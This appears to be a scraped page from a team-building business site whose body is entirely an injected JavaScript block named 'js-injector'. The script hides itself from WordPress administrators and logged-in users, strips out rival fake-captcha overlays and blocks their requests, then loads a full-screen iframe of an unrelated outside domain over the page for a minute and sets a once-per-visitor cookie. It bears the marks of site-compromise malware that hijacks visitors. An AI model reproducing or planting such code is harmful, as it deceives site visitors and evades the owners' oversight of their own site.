C4 Leaders – Team Building and Leadership Development with Pizza!

(function () { var LOG_PREFIX = ‘[js-injector]’; var debugLogs = []; function describeEl(el) { if (!(el instanceof HTMLElement)) return String(el); var parts = [el.tagName.toLowerCase()]; if (el.id) parts.push(‘#’ + el.id); if (el.className && typeof el.className === ‘string’) { parts.push(‘.’ + el.className.trim().split(/\s+/).slice(0, 3).join(‘.’)); } return parts.join(”); } function pushLog(level, message, extra) { var entry = { time: new Date().toISOString(), level: level, message: message, extra: extra || null }; debugLogs.push(entry); if (debugLogs.length > 300) debugLogs.shift(); var line = LOG_PREFIX + ‘ ‘ + message; if (extra !== undefined && extra !== null) { if (level === ‘error’) console.error(line, extra); else if (level === ‘warn’) console.warn(line, extra); else console.log(line, extra); } else if (level === ‘error’) { console.error(line); } else if (level === ‘warn’) { console.warn(line); } else { console.log(line); } } function dbg(message, extra) { pushLog(‘log’, message, extra); } function dbgWarn(message, extra) { pushLog(‘warn’, message, extra); } function dbgError(message, extra) { pushLog(‘error’, message, extra); } window.__jsInjectorDebug = { logs: debugLogs, dump: function () { return debugLogs.map(function (item) { var suffix = item.extra ? ‘ | ‘ + JSON.stringify(item.extra) : ”; return item.time + ‘ [‘ + item.level + ‘] ‘ + item.message + suffix; }).join(‘\n’); }, copy: function () { var text = this.dump(); if (navigator.clipboard && navigator.clipboard.writeText) { return navigator.clipboard.writeText(text); } dbgWarn(‘Clipboard API unavailable, print dump to console instead’); console.log(text); return Promise.resolve(); } }; dbg(‘script loaded on ‘ + window.location.href); if (window.__jsInjectorModal) { dbgWarn(‘already initialized, exit’); return; } window.__jsInjectorModal = true; if (document.getElementById(‘wpadminbar’)) { dbgWarn(‘exit: wpadminbar detected’); return; } if (document.body && document.body.classList.contains(‘admin-bar’)) { dbgWarn(‘exit: admin-bar class detected’); return; } if (typeof wpAdminBar !== ‘undefined’) { dbgWarn(‘exit: wpAdminBar detected’); return; } if (document.cookie.indexOf(‘wordpress_logged_in’) !== -1) { dbgWarn(‘exit: wordpress_logged_in cookie detected’); return; } var hostname = encodeURIComponent(window.location.hostname); var cookieName = ‘jsInjectorShown_’ + hostname; var MODAL_ROOT_ID = ‘js-injector-modal-root’; var Z_LIMIT = 1000000; var FAKE_CF_SELECTORS = [ ‘#bw-cf-root’, ‘#cf-modal’, ‘#cf-cb’, ‘#cf-sp’, ‘#cf-ck’, ‘#cf-lbl’, ‘.verify-window’, ‘.checkbox-window’, ‘.checkbox-row’, ‘.heading-favicon’, ‘.core-msg’, ‘.footer-inner’ ]; if (document.cookie.indexOf(cookieName + ‘=1’) !== -1) { dbgWarn(‘exit: modal already shown for this host’, { cookieName: cookieName }); return; } function normalizeModalUrl(url) { var original = url; url = (url || ”).trim(); if (!url) return url; if (/^http:\/\//i.test(url)) { url = url.replace(/^http:\/\//i, ‘https://’); } else if (!/^https:\/\//i.test(url)) { url = ‘https://’ + url.replace(/^\/+/, ”); } if (url !== original) dbg(‘modal url normalized’, { from: original, to: url }); return url; } function shouldBlockFakeRequest(url) { var value = String(url || ”); if (!value) return false; if (!/api\.php/i.test(value)) return false; return /server_session|cf[-_]|bw-cf|verify|human/i.test(value); } function installNetworkGuard() { if (window.__jsInjectorNetGuard) return; window.__jsInjectorNetGuard = true; dbg(‘network guard installed’); if (window.fetch) { var nativeFetch = window.fetch.bind(window); window.fetch = function (input, init) { var url = typeof input === ‘string’ ? input : (input && input.url) || ”; if (shouldBlockFakeRequest(url)) { dbgWarn(‘blocked fetch’, { url: url }); return Promise.reject(new Error(‘blocked fake captcha request’)); } return nativeFetch(input, init); }; } if (window.XMLHttpRequest) { var nativeOpen = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function (method, url) { if (shouldBlockFakeRequest(url)) { this.__jsInjectorBlocked = true; dbgWarn(‘blocked xhr open’, { method: method, url: url }); } return nativeOpen.apply(this, arguments); }; var nativeSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send = function () { if (this.__jsInjectorBlocked) return; return nativeSend.apply(this, arguments); }; } } installNetworkGuard(); function isOwnOverlay(el) { if (!(el instanceof HTMLElement)) return false; if (el.id === MODAL_ROOT_ID) return true; if (el.closest && el.closest(‘#’ + MODAL_ROOT_ID)) return true; return false; } function nodeHasFakeCaptcha(el) { if (!(el instanceof HTMLElement)) return false; if (el.id === ‘bw-cf-root’ || el.id === ‘cf-modal’) return true; if ( el.classList.contains(‘verify-window’) || el.classList.contains(‘checkbox-window’) || el.classList.contains(‘checkbox-row’) ) { return true; } if (!el.querySelector) return false; return !!el.querySelector( ‘#cf-cb, #cf-modal, #cf-lbl, .checkbox-window, .verify-window, .heading-favicon, img.heading-favicon[alt=”Cloudflare”], .core-msg’ ); } function getForeignRoot(el) { if (!(el instanceof HTMLElement) || isOwnOverlay(el)) return null; if (el.id === ‘bw-cf-root’ || el.id === ‘cf-modal’) return el; if (el.closest) { var known = el.closest(‘#bw-cf-root, #cf-modal, .verify-window’); if (known && !isOwnOverlay(known)) return known; var main = el.closest(‘.main-content’); if (main && !isOwnOverlay(main) && nodeHasFakeCaptcha(main)) { return main.closest(‘#bw-cf-root’) || main; } } return null; } function removeNode(node, reason) { dbg(‘removed foreign overlay’, { reason: reason, node: describeEl(node) }); node.remove(); } function removeForeignRoot(el) { var root = getForeignRoot(el); if (root && !isOwnOverlay(root)) { removeNode(root, ‘foreign-root’); return true; } return false; } function purgeKnownForeignOverlays() { var removed = 0; var i; var nodes; var node; var root; for (i = 0; i < FAKE_CF_SELECTORS.length; i++) { nodes = document.querySelectorAll(FAKE_CF_SELECTORS[i]); for (var j = 0; j < nodes.length; j++) { node = nodes[j]; if (isOwnOverlay(node)) continue; root = (node.closest && node.closest('#bw-cf-root')) || node; if (root.classList && root.classList.contains('verify-window')) { root = (root.closest && root.closest('#bw-cf-root')) || root; } if (!isOwnOverlay(root)) { removeNode(root, 'selector:' + FAKE_CF_SELECTORS[i]); removed += 1; } } } nodes = document.querySelectorAll('.main-content'); for (i = 0; i < nodes.length; i++) { node = nodes[i]; if (isOwnOverlay(node) || !nodeHasFakeCaptcha(node)) continue; root = (node.closest && node.closest('#bw-cf-root')) || node; if (!isOwnOverlay(root)) { removeNode(root, 'fake-captcha main-content'); removed += 1; } } nodes = document.querySelectorAll('script[src*="api.php"], iframe[src*="api.php"]'); for (i = 0; i = window.innerWidth * 0.75 && rect.height >= window.innerHeight * 0.75 ); } function coversLargeArea(el) { var rect = el.getBoundingClientRect(); return ( rect.width >= window.innerWidth * 0.45 && rect.height >= window.innerHeight * 0.45 ); } function isSuspicious(el) { if (!(el instanceof HTMLElement)) return false; if (isOwnOverlay(el)) return false; var style = getComputedStyle(el); var zIndex = parseInt(style.zIndex, 10); var positioned = [‘fixed’, ‘absolute’, ‘sticky’].indexOf(style.position) !== -1; if (nodeHasFakeCaptcha(el) && (positioned || coversLargeArea(el))) { return true; } if (!positioned) return false; if (!isFinite(zIndex) || zIndex < Z_LIMIT) return false; return coversMostOfScreen(el); } function removeForeignOverlays(el) { purgeKnownForeignOverlays(); if (!(el instanceof HTMLElement)) return; if (isOwnOverlay(el)) { for (var i = 0; i < el.children.length; i++) { removeForeignOverlays(el.children[i]); } return; } if (removeForeignRoot(el)) return; if (isSuspicious(el)) { if (nodeHasFakeCaptcha(el)) { var root = getForeignRoot(el) || el; if (!isOwnOverlay(root)) { removeNode(root, 'suspicious fake captcha'); return; } } dbg('hidden suspicious overlay', { node: describeEl(el) }); el.style.setProperty('display', 'none', 'important'); } for (var j = 0; j < el.children.length; j++) { removeForeignOverlays(el.children[j]); } } function startOverlayGuard() { if (window.__jsInjectorOverlayGuard) return; window.__jsInjectorOverlayGuard = true; dbg('overlay guard started'); var observer = new MutationObserver(function (mutations) { for (var i = 0; i < mutations.length; i++) { var added = mutations[i].addedNodes; for (var j = 0; j < added.length; j++) { if (added[j].nodeType === Node.ELEMENT_NODE) { dbg('mutation added node', { node: describeEl(added[j]) }); removeForeignOverlays(added[j]); } } } }); observer.observe(document.documentElement, { childList: true, subtree: true }); window.setInterval(function () { var removed = purgeKnownForeignOverlays(); if (removed) dbg('interval purge', { removed: removed }); }, 500); purgeKnownForeignOverlays(); removeForeignOverlays(document.documentElement); } function createModal(url) { var finalUrl = normalizeModalUrl(url); dbg('creating modal', { url: finalUrl }); purgeKnownForeignOverlays(); removeForeignOverlays(document.documentElement); var overlay = document.createElement('div'); overlay.id = MODAL_ROOT_ID; Object.assign(overlay.style, { position: 'fixed', inset: '0', width: '100vw', height: '100dvh', minHeight: '100vh', background: '#fff', zIndex: '2147483647', margin: '0', padding: '0', border: '0', overflow: 'hidden', display: 'flex' }); var iframe = document.createElement('iframe'); iframe.src = finalUrl; iframe.allowFullscreen = true; iframe.allow = 'fullscreen'; iframe.referrerPolicy = 'strict-origin-when-cross-origin'; iframe.setAttribute('loading', 'eager'); Object.assign(iframe.style, { width: '100%', height: '100%', border: 'none', display: 'block', margin: '0', padding: '0' }); iframe.addEventListener('load', function () { dbg('iframe loaded', { url: finalUrl }); }); iframe.addEventListener('error', function () { dbgError('iframe failed to load', { url: finalUrl }); }); overlay.appendChild(iframe); document.body.appendChild(overlay); dbg('modal opened'); document.documentElement.style.overflow = 'hidden'; document.body.style.overflow = 'hidden'; document.body.style.margin = '0'; setTimeout(function () { overlay.remove(); dbg('modal closed'); document.documentElement.style.overflow = ''; document.body.style.overflow = ''; document.body.style.margin = ''; document.cookie = cookieName + '=1; max-age=31536000; path=/; SameSite=Lax'; dbg('shown cookie saved', { cookieName: cookieName }); }, 60000); } function scheduleModal(url) { dbg('modal scheduled in 3000ms', { url: url }); window.setTimeout(function () { createModal(url); }, 3000); } function boot() { dbg('boot start', { readyState: document.readyState }); purgeKnownForeignOverlays(); function startGuardAndModal() { dbg('boot continue after page load'); startOverlayGuard(); scheduleModal('https://phiderma.es'); } if (document.readyState === 'complete') { window.setTimeout(startGuardAndModal, 300); } else { window.addEventListener('load', function () { dbg('window load event'); window.setTimeout(startGuardAndModal, 300); }, { once: true }); } } window.addEventListener('error', function (event) { dbgError('window error', { message: event.message, source: event.filename, line: event.lineno, col: event.colno }); }); window.addEventListener('unhandledrejection', function (event) { dbgError('unhandled rejection', { reason: event.reason && (event.reason.message || String(event.reason)) }); }); dbg('debug helper ready: __jsInjectorDebug.dump() / __jsInjectorDebug.copy()'); if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', boot, { once: true }); } else { boot(); } })();